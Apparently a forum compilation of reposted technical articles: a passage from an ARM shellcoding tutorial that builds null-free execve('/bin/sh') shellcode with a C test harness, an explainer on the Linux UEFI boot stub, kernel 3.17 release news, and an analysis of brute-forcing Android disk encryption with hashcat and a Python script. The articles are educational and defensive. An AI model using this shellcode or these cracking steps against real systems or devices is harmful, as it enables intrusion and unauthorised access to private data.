Workspace r15 pc Program counter Out of the 16 accessible registers there are 11 general-purpose registers and 5 special purpose registers, which are assigned specific names. R11 is the frame pointer and holds the pointer to the current stack frame. R12 is the Intra-procedure call scratch register used by a subroutine to store temporary data. R13 is the stack pointer and holds the pointer to the top of the stack. R14 is the link register holds the return addresses whenever a subroutine is called with a branch and link instruction. R15 is the program counter and holds the address of the next instruction to be executed. The arguments of a function are stored in registers r0 to r3. If the number of arguments is greater than 3 then the excess arguments are stored onto the stack. Let's start by writing a shellcode called execve(). We first need to know the address of the syscall. Note that we are using a Raspberry Pi to demonstrate this article. ~# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve #define __NR_execve (__NR_SYSCALL_BASE+ 11) #define __NR_kexec_load (__NR_SYSCALL_BASE+347) We have [B]11[/B] for [B]_execve[/B]. We know that [B]_execve[/B] consumes three arguments: execve(const char *filename, char *const argv[], char *const envp[]) Which gives us: r0 => "//bin/sh\0" r1 => "//bin/sh\0" r2 => 0 r7 => 11 ~# cat shell.s .section .text .global _start _start: mov r0, pc // place the address of pc in r0 add r0, #20 // add 20 to it (which then makes it point to //bin/sh) str r0, [sp, #4] // place it on the stack add r1, sp, #4 // move what was on the stack to r1 sub r2, r2, r2 // subtract r2 from itself (which is the same as placing 0 in r2) mov r7, #11 // syscall execve in r7 svc 0 // execute .ascii "//bin/sh\0" ~# as -o shell.o shell.s ~# ld -o shell shell.o ~# ./shell ~# exit ~# ~# strace ./shell execve("./shell", ["./shell"], [/* 15 vars */]) = 0 execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 It worked however in order create our shellcode, we should have no null bytes, and our shellcode has many of them. ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e1a0000f mov r0, pc 8058: e2800014 add r0, r0, #20 805c: e58d0004 str r0, [sp, #4] 8060: e28d1004 add r1, sp, #4 8064: e0422002 sub r2, r2, r2 8068: e3a0700b mov r7, #11 806c: ef000000 svc 0x00000000 8070: 69622f2f .word 0x69622f2f 8074: 68732f6e .word 0x68732f6e 8078: 00 .byte 0x00 8079: 00 .byte 0x00 Under ARM, we have the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage. ~# cat shell.s .section .text .global _start _start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 0 .ascii "//bin/sh\0" ~# as -mthumb -o shell.o shell.s ~# ld -o shell shell.o ~# ./shell When compiling, use "-mthumb" to indicate that we are switching to "Thumb Mode". The value of the constant being added to r0 was changed. Instead of the original "add r0, #20", We are doing "add r0, #10" since we have now switched to "thumb mode", the address where our chain is at, has been halved. ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df00 svc 0 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 So now we have to modify the following instruction: "svc 0". For SVC we will use "svc 1" which is perfect in this case. ~# cat shell.s .section .text .global _start _start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 1 .ascii "//bin/sh\0" ~# as -mthumb -o shell.o shell.s ~# ld -o shell shell.o ~# strace ./shell execve("./shell", ["./shell"], [/* 15 vars */]) = 0 execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 ~# exit ~# ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 Here we are, we have got an operational shellcode without any null bytes. In C that gives us: ~# cat shell.c #include <stdio.h> #include <string.h> char *shellcode = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x0a\x30" "\x01\x90" "\x01\xa9" "\x92\x1a" "\x0b\x27" "\x01\xdf" "\x2f\x2f" "\x62\x69\x6e\x2f" "\x73\x68"; int main() { (*(void(*)()) shellcode)(); return 0; } ~# gcc -o shell shell.c ~# ./shell $ $ References The ARM Instruction Set Introduction to ARM Exploitation Shellstorm - Shellcoding in ARM Architecture Sursa: anwarelmakrahy | ARM Architecture Shellcoding

UEFI boot stub in Linux Written by Louis Feuvrier 2014-10-01 20:28:36 As most of you know, the linux kernel is stored as a bzImage. This bzImage has been comprised of different files over the time, but it is usually the composition of two things: The bit that interests us is the linux boot code, and how it paves the way for the kernel itself. You may consider that once the piggy.o (see later) object has been loaded at offset 0x100000, the basic bootloading job is done. But first, before tackling UEFI thematics, let's go back a bit to the legacy booting processes. I gave a conference about these matters in March. You can consult the slides at the following address. The prezi slides give a very good idea of where you are in the code, try it! Legacy boot Way, way back in 2.5.64 Even before people used window managers and all that fancy stuff, linux actually was a bootable image, meaning you could run dd if=bzImage of=/dev/sda and just boot off the thing. This required the 512 first bytes to be MBR-material, able to load the rest of the kernel itself. Using this technique, it was not possible to easily specify a command-line (and therefore a root filesystem, an initrd file or an init binary). The bzImage was composed as follow: The piggy.o object contains the bulk of the kernel image. misc.o is a bunch of gzip routines for the decompression of the kernel. The bootsect.o was a 512-bytes MBR. Since 2.5.65, it just prints an error message indicating that the feature is not supported anymore. arch/i386/boot has since 2.6.24 been moved into arch/x86/boot. bootsect.S and setup.S have been replaced by the header.S file since 2.6.23. The bootsect.S file performed only a few basic tasks: Relocated itself at address 0x9000 (bootsect.S:62) Loaded the setup.o code at address 0x9200 (bootsect.S:153). Loaded the system at address 0x100000 (bootsect.S:225) The size of the setup.o code, which needs to be loaded in low-memory, is defined in the setup_sects field (bootsect.S:415). After loading those two chunks in memory, the processor jumped into the setup.o code, at the symbol start_of_setup (setup.S:173). From here, it carried out a few tasks: Checked the memory layout with three different methods (e820h, e801h and 88h) Jumped in protected mode (setup.S:873) at offset 0x100000 (setup.S:905). The code at 0x100000 (1Mo) is part of the startup_32 (head.S:31) routine, the first protected mode code in the kernel. It uses routines from misc.c to decompress the kernel in place and then re-jumps at 0x100000 (head.S:77), where the code from piggy.o has now been loaded. The real world As I previously said, the layout of the arch/i386/boot folder (as of today arch/x86/boot) changed drastically over the time. The first change to take place was the nullification of the MBR, and starting at version 2.5.65, the 512 first bytes were only able to print out a bugger-off message. Between versions 2.6.22 and 2.6.23, the folder was totally revisited. A new file header.S was created, containing the now useless 512 bytes MBR and a bit of the setup.S code as well. The main change remains in the creation of a main.c file executing most of the initializations performed by the old setup.S regarding the BIOS mode, the memory detection, the video mode and such. The code in the main.c file then jumps in protected mode in the pm.c file (pm.c:149) via the goto_protected_mode stub. The head_32.S file is still very similar to the original head.S source: its job is to decompress the kernel in-place, thus placing piggy.o at 0x100000. The bzImage is of the following composition according to my research and the compressed folder building files (Makefile:29 and vmlinux.lds.S): Usual BIOS-enabled bootloaders startup Let's take a look at the syslinux sources to understand when and how the linux bzImage is loaded in memory by the bootloader itself. A big thanks to the guys from #syslinux on freenode for their help in finding the module loading and jumping into the kernel linux, the path was not obvious. It is split in two according to the setup_sects header (load_linux.c:243) in the first 512 bytes of the header.o file (header.S:264). The realmode code is loaded at an offset below 1M (load_linux.c:320) The command-line is loaded right behind this code (load_linux.c:344) The vmlinux.bin.gz file is loaded above 1M (load_linux.c:362) Once this is done, the bootloader simply jump 512 bytes behind the beginning of the realmode code it copied into memory. This code will re-localize itself at 0x9000 offset according to the setup_move_size field (header.S:306) if the command-line address has not been specified in the command_line_ptr field (header.S:338). From then on, the kernel will follow the same route as when it was loaded as an image. It might also be interesting to specify that the setup segment of the bootloading process is aware of the bootloader that loaded it previously thanks to the ext_loader_type field (header.S:335) (boot.txt:). Conclusion Well, all we thus far is that the BIOS-dependent bootloading process for linux is quite a mess. It is not trivial to follow the control flow and the bzImage loading is far from obvious. The drastic changes the boot folder underwent did not help me get a sense of what was going on. However, here comes UEFI. The UEFI model Introduction The goal of the UEFI specification is first to unify the boot process and get rid of the mess the BIOS-dependent bootloading option is. When the IA64 architecture was designed, engineers from Intel thought it was time to get rid of the legacy 16bits to 32bits to 64bits booting process, and go straight into protected mode. However, as the IA64 architecture failed in favor of the AMD64, the idea of getting rid of the archaic firmware that is BIOS stuck, and after a few years, the EFI firmware became UEFI and development of this specification spread outside Intel. The idea here is to provide an API more user-friendly to the programmer, with simple applications as Portables Executables (PE from Windows). Most of these applications are services (usually drivers) exposing to the user a bunch of devices such as a keyboard, a screen or the clock. They are initialized and ran automatically by the firmware. Other applications include a shell (enabling the user to start other applications), or bootloaders (it might be useful). There are three types of application: Simple applications (type=10) Boot services (type=11) Runtime services (type=12) Boot services are protocols (API to stay simple) designed to die when the boot process is done and the control is handed to the OS (via the ExitBootServices() routine.) These services include drivers such as text/graphical console, block devices and such. On the other hand, Runtime services are designed to stay reachable by the OS, even after a call to ExitBootServices(). These services provide access to the NvRAM for example, or drivers for the clock. The NvRAM stores a few variables, including the configuration for the boot manager. This boot manager reads the NvRAM to boot on a given application automatically. This configuration is alterable via the efibootmgr utility and allows the user to setup the bootloader order. This order usually defaults to: Try to boot on floppy Try to boot on hard drive Try to boot on NIC0 Run shell application The user-defined applications and files are stored on a special fat32 partition defined by the identifier 0xEF. UEFI: how to As specified before, the code for an application is encapsulated in the PE format. This means the binary needs both the MZ and PE headers in order to be recognized as a valid efi executable. It needs to feature the .efi extension in the filesystem as well. The compilation of such binaries can be achieved with the help of the gnu-efi library, which is exposing to the user headers the firmware-provided data structures and function prototypes, such as the main. It also includes a basic library I/O C library using the EFI-defined drivers to the peripherals. The main prototype as defined by the gnu-efi library (ia32/efibind.h:250), and used in a sample 'hello world' application (apps/t.c:16): EFI_STATUS efi_main (EFI_HANDLE image_handle, EFI_SYSTEM_TABLE *systab); Arriving in that main, all the EFI features are available via the EFI_SYSTEM_TABLE (efiapi.h:866) structure. The firmware thus exposes directly an stdin/stdout/stderr via the systab->{ConIn,ConOut,StdErr} handles. The EFI_BOOT_SERVICES structure gives a reference to the different protocols and drivers to the user via the LocateHandle() and LocateProtocol() functions. The EFI_RUNTIME_SERVICES structure yields directly access to the time and NvRAM variables. Booting without a bootloader: the EFI boot stub As expected, the linux kernel obviously does not use the gnu-efi library. The idea behind the EFI boot stub is to fake the previously seen bzImage as a valid efi application. This means setting up a MZ+PE header and all kinds of sneaky, sneaky stuff. The EFI boot stub became available as of linux 3.3. When compiling the kernel with options CONFIG_EFI_STUB=y, the header.S image features made up MZ+PE headers. The most important field, the AddressEntryPoint (header.S:144) is named efi_pe_entry in the source tree and is set by the tools/build.c program to either of the following (tools/build.c:274): 0x010 (compressed/head_64.S:37) or (compressed/head_32:34). In the case of the head_64.S file, the EFI entry point is set to the 64 bits entry each time. However, a legacy bootloader will jump at 0x100000 and fall on the 32 bits entry which will do the jump into long mode and fall through in the (startup_64) routine. 64 bits legacy bootloader, however, will know enough to jump directly into startup_64. 0x210 (compressed/head_64:S:191), The remaining problem here is that bootloaders usually provide a boot_params data structure. Here, the head_{32,64}.S files use a make_boot_params function (compressed/eboot.c:693) (compressed/head_64.S:214) (compressed/head_32.S:45) in order to setup this structure. The processor then enters the efi_stub_entry, (compressed/head_64.S:221) (compressed/head_32.S:55) the offset of which also depends on the architecture adopted by the kernel (ia32 or amd64). As implemented since the boot protocol 2.11 (boot.txt:57) (boot.txt:1097), the kernel supports EFI handover, meaning bootloaders can yield the remainder of the boot process to the EFI boot stub. This is where efi_stub_entry intervenes, representing that entry point and being stored in the handover_offset (header.S:422) (boot.txt:728) if the xloadflags (header.S:371) is set accordingly (boot.txt:590). The code beginning from the efi_stub_entry first calls efi_main (compressed/eboot.c:748) (not to be mistaken with the gnu-efi efi_main we talked about earlier,) which executes a basic initialization: Test if called by the UEFI firmware (might be called with efi_stub_entry as entry point.) Fail if not. Call to setup_graphics. Call to setup_efi_pci, which retrieves the main pci_handle (compressed/eboot.c:65) and fetches each individual device handle (compressed/eboot.c:85). Relocate the kernel code at the preferred address (compressed/eboot.c:783) Load the dummy GDT and disable interrupts (compressed/eboot.c:857). Performs the call to ExitBootServices() needed for the firmware to let go of the control (compressed/eboot.c:800) (compressed/eboot.c:710). After exiting efi_main successfully, the processor just jumps in the newly relocated kernel, according to the values in the boot_params (asm/bootparams.h:111) structure, stored in %eax at exit (compressed/head_64.c:233). Sursa: UEFI boot stub in Linux - LSE Blog

Linux Kernel 3.17 Is Out with Xbox One Controller Support Many other features have been added in this kernel branch By Silviu Stahie on October 6th, 2014 07:44 GMT The final version of Linux kernel 3.17 has been made available by Linus Torvalds and this branch is now the latest stable that’s ready for download. The Linux kernel development schedule is now back on track with the new 3.17 release and no more problems have stopped the launch of a new stable version. Linus Torvalds gave us a little scare last week, when he decided not to promote the final 3.17 kernel, but it looks like things have settled down. This is the beginning of a new kernel branch, but it's unsure for how long it will last. If you take a look at the list of current maintained and alive kernels, you will see that all of them have even numbers. The last kernel with an odd version number was 3.15 and it only received a few point releases before reaching end of life. A calm Linux kernel development cycle is a good thing No major problems have been noted in the development versions of Linux kernel 3.17, and this has greatly sped up the process. In the previous iteration of the kernel, for example, the devs found a problem with the GCC compiler, which made Linus very upset, to say the least. "So the past week was fairly calm, and so I have no qualms about releasing 3.17 on the normal schedule (as opposed to the optimistic 'maybe I can release it one week early' schedule that was not to be). However, I now have travel coming up - something I hoped to avoid when I was hoping for releasing early. Which means that while 3.17 is out, I'm not going to be merging stuff very actively next week, and the week after that is LinuxCon EU..." "What that means is that depending on how you want to see it, the 3.18 merge window will either be three weeks, or alternatively just have a rather slow start. I don't mind getting pull requests starting now (in fact, I have a couple already pending in my inbox), but I likely won't start processing them for a week," says Linus Torvalds in his regular email address. Linux kernel 3.17 comes with some pretty interesting features, such as much better Intel Broadwell support, improvements for the open source version of the NVIDIA drivers, more Radeon features, and Xbox One controller support (yes, the one from Microsoft), just to name a few. You can download Linux kernel 3.17 from Softpedia, but these are just the sources. If you want to use the new kernel, you will have to compile it. Canonical provides a few binary files for the latest kernel, but you could ruin your system, so install them at your own risk. Sursa: Linux Kernel 3.17 Is Out with Xbox One Controller Support - Softpedia

Revisiting Android disk encryption In iOS 8, Apple has expanded the scope of data encryption and now mixes in the user's passcode with an unextractable hardware UID when deriving an encryption key, making it harder to extract data from iOS 8 devices. This has been somewhat of a hot topic lately, with opinions ranging from praise for Apple's new focus on serious security, to demands for "golden keys" to mobile devices to be magically conjured up. Naturally, the debate has spread to other OS's, and Google has announced that the upcoming Android L release will also have disk encryption enabled by default. Consequently, questions and speculation about the usefulness and strength of Android's disk encryption have sprung up on multiple forums, so this seems like a good time to take another look at its implementation. While Android L still hasn't been released yet, some of the improvements to disk encryption it introduces are apparent in the preview release, so this post will briefly introduce them as well. This post will focus on the security level of disk encryption, for more details on its integration with the platform, see Chapter 10 of my book -- 'Android Security Internals' (early access full PDF is available now, print books should ship by end of October). Android 3.0-4.3 Full disk encryption (FDE) for Android was introduced in version 3.0 (Honeycomb) and didn't change much until version 4.4 (discussed in the next section). Android's FDE uses the dm-crypt target of Linux's device mapper framework to implement transparent disk encryption for the userdata (mounted as /data) partition. Once encryption is enabled, all writes to disk automatically encrypt data before committing it to disk and all reads automatically decrypt data before returning it to the calling process. The disk encryption key (128-bit, called the 'master key') is randomly generated and protected by the lockscreen password. Individual disk sectors are encrypted by the master key using AES in CBC mode, with ESSIV:SHA256 to derive sector IVs. Android uses a so called 'crypto footer' structure to store encryption parameters. It is very similar to the encrypted partition header used by LUKS (Linux Unified Key Setup), but is simpler and omits several LUKS features. While LUKS supports multiple key slots, allowing for decryption using multiple passphrases, Android's crypto footer only stores a single copy of the encrypted master key and thus supports a single decryption passphrase. Additionally, while LUKS splits the encrypted key in multiple 'stripes' in order to reduce the probability of recovering the full key after it has been deleted from disk, Android has no such feature. Finally, LUKS includes a master key checksum (derived by running the master key through PBKDF2), which allows to check whether the entered passphrase is correct without decrypting any of the disk data. Android's crypto footer doesn't include a master key checksum, so the only way to check whether the entered passphrase is correct is to try and mount the encrypted partition. If the mount succeeds, the passphrase is considered correct. Here's how the crypto footer looks in Android 4.3 (version 1.0). struct crypt_mnt_ftr { __le32 magic; __le16 major_version; __le16 minor_version; __le32 ftr_size; __le32 flags; __le32 keysize; __le32 spare1; __le64 fs_size; __le32 failed_decrypt_count; unsigned char crypto_type_name[MAX_CRYPTO_TYPE_NAME_LEN]; }; The structure includes the version of the FDE scheme, the key size, some flags and the name of the actual disk encryption cipher mode (aes-cbc-essiv:sha256). The crypto footer is immediately followed by the encrypted key and a 16-bit random salt value. In this initial version, a lot of the parameters are implicit and are therefore not included in the crypto footer. The master key is encrypted using an 128-bit AES key (key encryption key, or KEK) derived from an user-supplied passphrase using 2000 iteration of PBKDF2. The derivation process also generates an IV, which is used to encrypt the master key in CBC mode. When an encrypted devices is booted, Android takes the passphrase the user has entered, runs it through PBKDF2, decrypts the encrypted master key and passes it to dm-crypt in order to mount the encrypted userdata partition. Bruteforcing FDE 1.0 The encryption scheme described in the previous section is considered relatively secure, but because it is implemented entirely in software, it's security depends entirely on the complexity of the disk encryption passphrase. If it is sufficiently long and complex, bruteforcing the encrypted master key could take years. However, because Android has chosen to reuse the losckreen PIN or password (maximum length 16 characters), in practice most people are likely to end up with a relatively short or low-entropy disk encryption password. While the PBKDF2 key derivation algorithm has been designed to work with low-entropy input, and requires considerable computational effort to bruteforce, 2000 iterations are not a significant hurdle even to current off-the-shelf hardware. Let's see how hard it is to bruteforce Android FDE 1.0 in practice. Bruteforcing on the device is obviously impractical due to the limited processing resources of Android devices and the built-in rate limiting after several unsuccessful attempts. A much more practical approach is to obtain a copy of the crypto footer and the encrypted userdata partition and try to guess the passphrase offline, using much more powerful hardware. Obtaining a raw copy of a disk partition is usually not possible on most commercial devices, but can be achieved by booting a specialized data acquisition boot image signed by the device manufacturer, exploiting a flaw in the bootloader that allows unsigned images to be booted (such as this one), or simply by booting a custom recovery image on devices with an unlocked bootloader (a typical first step to 'rooting'). Once the device has been booted, obtaining a copy of the userdata partition is straightforward. The crypto footer however, despite its name, typically resides on a dedicated partition on recent devices. The name of the partition is specified using the encryptable flag in the device's fstab file. For example, on the Galaxy Nexus, the footer is on the metadata partition as shown below. /dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data ext4 \ noatime,nosuid,nodev,nomblk_io_submit,errors=panic \ wait,check,encryptable=/dev/block/platform/omap/omap_hsmmc.0/by-name/metadata Once we know the name of the partition that stores the crypto footer it can be copied simply by using the dd command. Very short passcodes (for example a 4-digit PIN) can be successfully bruteforced using a script (this particular one is included in Santoku Linux) that runs on a desktop CPU. However, much better performance can be achieved on a GPU, which has been specifically designed to execute multiple tasks in parallel. PBKDF2 is an iterative algorithm based on SHA-1 (SHA-2 can also be used) that requires very little memory for execution and lends itself to paralellization. One GPU-based, high-performance PBKDF2 implementation is found the popular password recovery tool hashcat. Version 1.30 comes with a built-in Android FDE module, so recovering an Android disk encryption key is as simple as parsing the crypto footer and feeding the encrypted key, salt, and the first several sectors of the encrypted partition to hashcat. As we noted in the previous section, the crypto footer does not include any checksum of the master key, so the only way to check whether the decrypted master key is the correct one is to try to decrypt the disk partition and look for some known data. Because most current Android devices use the ext4 filesystem, hashcat (and other similar tools) look for patterns in the ext4 superblock in order to confirm whether the tried passphrase is correct. The Android FDE input for hashcat includes the salt, encrypted master key and the first 3 sectors of the encrypted partition (which contain a copy of the 1024-byte ext4 superblock). The hashcat input file might look like this (taken from the hashcat example hash): $fde$16$ca56e82e7b5a9c2fc1e3b5a7d671c2f9$16$7c124af19ac913be0fc137b75a34b20d$eac806ae7277c8d4... On a device that uses a six-digit lockscreen PIN, the PIN, and consequently the FDE master key can be recovered with the following command: $ cudaHashcat64 -m 8800 -a 3 android43fde.txt ?d?d?d?d?d?d ... Session.Name...: cudaHashcat Status.........: Cracked Input.Mode.....: Mask (?d?d?d?d?d?d) [6] Hash.Target....: $fde$16$aca5f840... Hash.Type......: Android FDE Time.Started...: Sun Oct 05 19:06:23 2014 (6 secs) Speed.GPU.#1...: 20629 H/s Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 122880/1000000 (12.29%) Skipped........: 0/122880 (0.00%) Rejected.......: 0/122880 (0.00%) HWMon.GPU.#1...: 0% Util, 48c Temp, N/A Fan Started: Sun Oct 05 19:06:23 2014 Stopped: Sun Oct 05 19:06:33 2014 Even when run on the GPU of a mobile computer (NVIDIA GeForce 730M), hashcat can achieve more then 20,000 PBKDF2 hashes per second, and recovering a 6 digit PIN takes less than 10 seconds. On the same hardware, a 6-letter (lowercase only) password takes about 4 hours. As you can see, bruteforcing a simple PIN or password is very much feasible, so choosing a strong lockscreen password is vital. Lockscreen password strength can be enforced by installing a device administrator that sets password complexity requirements. Alternatively, a dedicated disk encryption password can be set on rooted devices using the shell or a dedicated application. CyanogenMod 11 supports setting a dedicated disk encryption password out of the box, and one can be set via system Settings, as shown below. Android 4.4 Android 4.4 adds several improvements to disk encryption, but the most important one is replacing the PBKDF2 key derivation function (KDF) with scrypt. scrypt has been specifically designed to be hard to crack on GPUs by requiring a large (and configurable) amount of memory. Because GPUs have a limited amount of memory, executing multiple scrypt tasks in parallel is no longer feasible, and thus cracking scrypt is much slower than PBKDF2 (or similar hash-based KDFs). As part of the upgrade process to 4.4, Android automatically updates the crypto footer to use scrypt and re-encrypts the master key. Thus every device running Android 4.4 (devices using a vendor-proprietary FDE scheme excluded) should have its FDE master key protected using an scrypt-derived key. The Android 4.4 crypto footer looks like this (version 1.2): struct crypt_mnt_ftr { __le32 magic; __le16 major_version; __le16 minor_version; __le32 ftr_size; __le32 flags; __le32 keysize; __le32 spare1; __le64 fs_size; __le32 failed_decrypt_count; unsigned char crypto_type_name[MAX_CRYPTO_TYPE_NAME_LEN]; __le32 spare2; unsigned char master_key[MAX_KEY_LEN]; unsigned char salt[sALT_LEN]; __le64 persist_data_offset[2]; __le32 persist_data_size; __le8 kdf_type; /* scrypt parameters. See www.tarsnap.com/scrypt/scrypt.pdf */ __le8 N_factor; /* (1 << N) */ __le8 r_factor; /* (1 << r) */ __le8 p_factor; /* (1 << p) */ }; As you can see, the footer now includes an explicit kdf_type which specifies the KDF used to derive the master key KEK. The values of the scrypt initialization parameters (N, r and p) are also included. The master key size (128-bit) and disk sector encryption mode (aes-cbc-essiv:sha256) are the same as in 4.3. Bruteforcing the master key now requires parsing the crypto footer, initializing scrypt and generating all target PIN or password combinations. As the 1.2 crypto footer still does not include a master key checksum, checking whether the tried PIN or password is correct again requires looking for known plaintext in the ext4 superblock. While hashcat does support scrypt since version 1.3, it is not much more efficient (and in fact can be slower) than running scrypt on a CPU. Additionally, the Android 4.4 crypto footer format is not supported, so hashcat cannot be used to recover Android 4.4 disk encryption passphrases as is. Instead, the Santoku Linux FDE bruteforcer Python script can be extended to support the 1.2 crypto footer format and the scrypt KDF. A sample (and not particularly efficient) implementation can be found here. It might produce the following output when run on a 3.50GHz Intel Core i7 CPU: $ time python bruteforce_stdcrypto.py header footer 4 Android FDE crypto footer ------------------------- Magic : 0xD0B5B1C4 Major Version : 1 Minor Version : 2 Footer Size : 192 bytes Flags : 0x00000000 Key Size : 128 bits Failed Decrypts: 0 Crypto Type : aes-cbc-essiv:sha256 Encrypted Key : 0x66C446E04854202F9F43D69878929C4A Salt : 0x3AB4FA74A1D6E87FAFFB74D4BC2D4013 KDF : scrypt N_factor : 15 (N=32768) r_factor : 3 (r=8) p_factor : 1 (p=2) ------------------------- Trying to Bruteforce Password... please wait Trying: 0000 Trying: 0001 Trying: 0002 Trying: 0003 ... Trying: 1230 Trying: 1231 Trying: 1232 Trying: 1233 Trying: 1234 Found PIN!: 1234 real 4m43.985s user 4m34.156s sys 0m9.759s As you can see, trying 1200 PIN combinations requires almost 5 minutes, so recovering a simple PIN is no longer instantaneous. That said, cracking a short PIN or password is still very much feasible, so choosing a strong locksreen password (or a dedicated disk encryption password, when possible) is still very important. Android L A preview release of the upcoming Android version (referred to as 'L') has been available for several months now, so we can observe some of expected changes to disk encryption. If we run the crypto footer obtained from an encrypted Android L device through the script introduced in the previous section, we may get the following output: $ ./bruteforce_stdcrypto.py header L_footer 4 Android FDE crypto footer ------------------------- Magic : 0xD0B5B1C4 Major Version : 1 Minor Version : 3 Footer Size : 2288 bytes Flags : 0x00000000 Key Size : 128 bits Failed Decrypts: 0 Crypto Type : aes-cbc-essiv:sha256 Encrypted Key : 0x825F3F10675C6F8B7A6F425599D9ECD7 Salt : 0x0B9C7E8EA34417ED7425C3A3CFD2E928 KDF : unknown (3) N_factor : 15 (N=32768) r_factor : 3 (r=8) p_factor : 1 (p=2) ------------------------- ... As you can see above, the crypto footer version has been upped to 1.3, but the disk encryption cipher mode and key size have not changed. However, version 1.3 uses a new, unknown KDF specified with the constant 3 (1 is PBKDF2, 2 is scrypt). Additionally, encrypting a device no longer requires setting a lockscreen PIN or password, which suggests that the master key KEK is no longer directly derived from the lockscreen password. Starting the encryption process produces the following logcat output: D/QSEECOMAPI: ( 178): QSEECom_start_app sb_length = 0x2000 D/QSEECOMAPI: ( 178): App is already loaded QSEE and app id = 1 D/QSEECOMAPI: ( 178): QSEECom_shutdown_app D/QSEECOMAPI: ( 178): QSEECom_shutdown_app, app_id = 1 ... I/Cryptfs ( 178): Using scrypt with keymaster for cryptfs KDF D/QSEECOMAPI: ( 178): QSEECom_start_app sb_length = 0x2000 D/QSEECOMAPI: ( 178): App is already loaded QSEE and app id = 1 D/QSEECOMAPI: ( 178): QSEECom_shutdown_app D/QSEECOMAPI: ( 178): QSEECom_shutdown_app, app_id = 1 As discussed in a previous post, 'QSEE' stands for Qualcomm Secure Execution Environment, which is an ARM TrustZone-based implementation of a TEE. QSEE provides the hardware-backed credential store on most devices that use recent Qualcomm SoCs. From the log above, it appears that Android's keymaster HAL module has been extended to store the disk encryption key KEK in hardware-backed storage (Cf. 'Using scrypt with keymaster for cryptfs KDF' in the log above). The log also mentions scrypt, so it is possible that the lockscreen password (if present) along with some key (or seed) stored in the TEE are fed to the KDF to produce the final master key KEK. However, since no source code is currently available, we cannot confirm this. That said, setting an unlock pattern on an encrypted Android L device produces the following output, which suggests that the pattern is indeed used when generating the encryption key: D/VoldCmdListener( 173): cryptfs changepw pattern {} D/QSEECOMAPI: ( 173): QSEECom_start_app sb_length = 0x2000 D/QSEECOMAPI: ( 173): App is already loaded QSEE and app id = 1 ... D/QSEECOMAPI: ( 173): QSEECom_shutdown_app D/QSEECOMAPI: ( 173): QSEECom_shutdown_app, app_id = 1 I/Cryptfs ( 173): Using scrypt with keymaster for cryptfs KDF D/QSEECOMAPI: ( 173): QSEECom_start_app sb_length = 0x2000 D/QSEECOMAPI: ( 173): App is already loaded QSEE and app id = 1 D/QSEECOMAPI: ( 173): QSEECom_shutdown_app D/QSEECOMAPI: ( 173): QSEECom_shutdown_app, app_id = 1 E/VoldConnector( 756): NDC Command {5 cryptfs changepw pattern [scrubbed]} took too long (6210ms) As you can be see in the listing above, the cryptfs changepw command, which is used to send instructions to Android's vold daemon, has been extended to support a pattern, in addition to the previously supported PIN/password. Additionally, the amount of time the password change takes (6 seconds) suggests that the KDF (scrypt) is indeed being executed to generate a new encryption key. Once we've set a lockscreen unlock pattern, booting the device now requires entering the pattern, as can be seen in the screenshot below. Another subtle change introduced in Android L, is that when booting an encrypted device the lockscreen pattern, PIN or password needs to be entered only once (at boot time), and not twice (once more on the lockscreen, after Android boots) as it was in previous versions. While no definitive details are available, it is fairly certain that (at least on high-end devices), Android's disk encryption key(s) will have some hardware protection in Android L. Assuming that the implementation is similar to that of the hardware-backed credential store, disk encryption keys should be encrypted by an unextractable key encryption key stored in the SoC, so obtaining a copy of the crypto footer and the encrypted userdata partition, and bruteforcing the lockscreen passphrase should no longer be sufficient to decrypt disk contents. Disk encryption in the Android L preview (at least on a Nexus 7 2013) feels significantly faster (encrypting the 16GB data partition takes about 10 minutes), so it is most probably hardware-accelerated as well. However, it remains to be seen whether high-end Android L devices will include a dedicated crypto co-processor akin to Apple's 'Secure Enclave'. While the current TrustZone-based key protection is much better than the software only implementation found in previous versions, a flaw in the secure TEE OS or any of the trusted TEE applications could lead to extracting hardware-protected keys or otherwise compromising the integrity of the system. Summary Android has included full disk encryption (FDE) support since version 3.0, but versions prior to 4.4 used a fairly easy to bruteforce key derivation function (PBKDF2 with 2000 iterations). Additionally, because the disk encryption password is the same as the lockscreen one, most users tend to use simple PINs or passwords (unless a device administrator enforces password complexity rules), which further facilitates bruteforcing. Android 4.4 replaced the disk encryption KDF with scrypt, which is much harder to crack and cannot be implemented efficiently on off-the-shelf GPU hardware. In addition to enabling FDE out of the box, Android L is expected to include hardware protection for disk encryption keys, as well as hardware acceleration for encrypted disk access. These two features should make FDE on Android both more secure and much faster. Posted 5 hours ago by Nikolay Elenkov Sursa: Android Explorations: Revisiting Android disk encryption

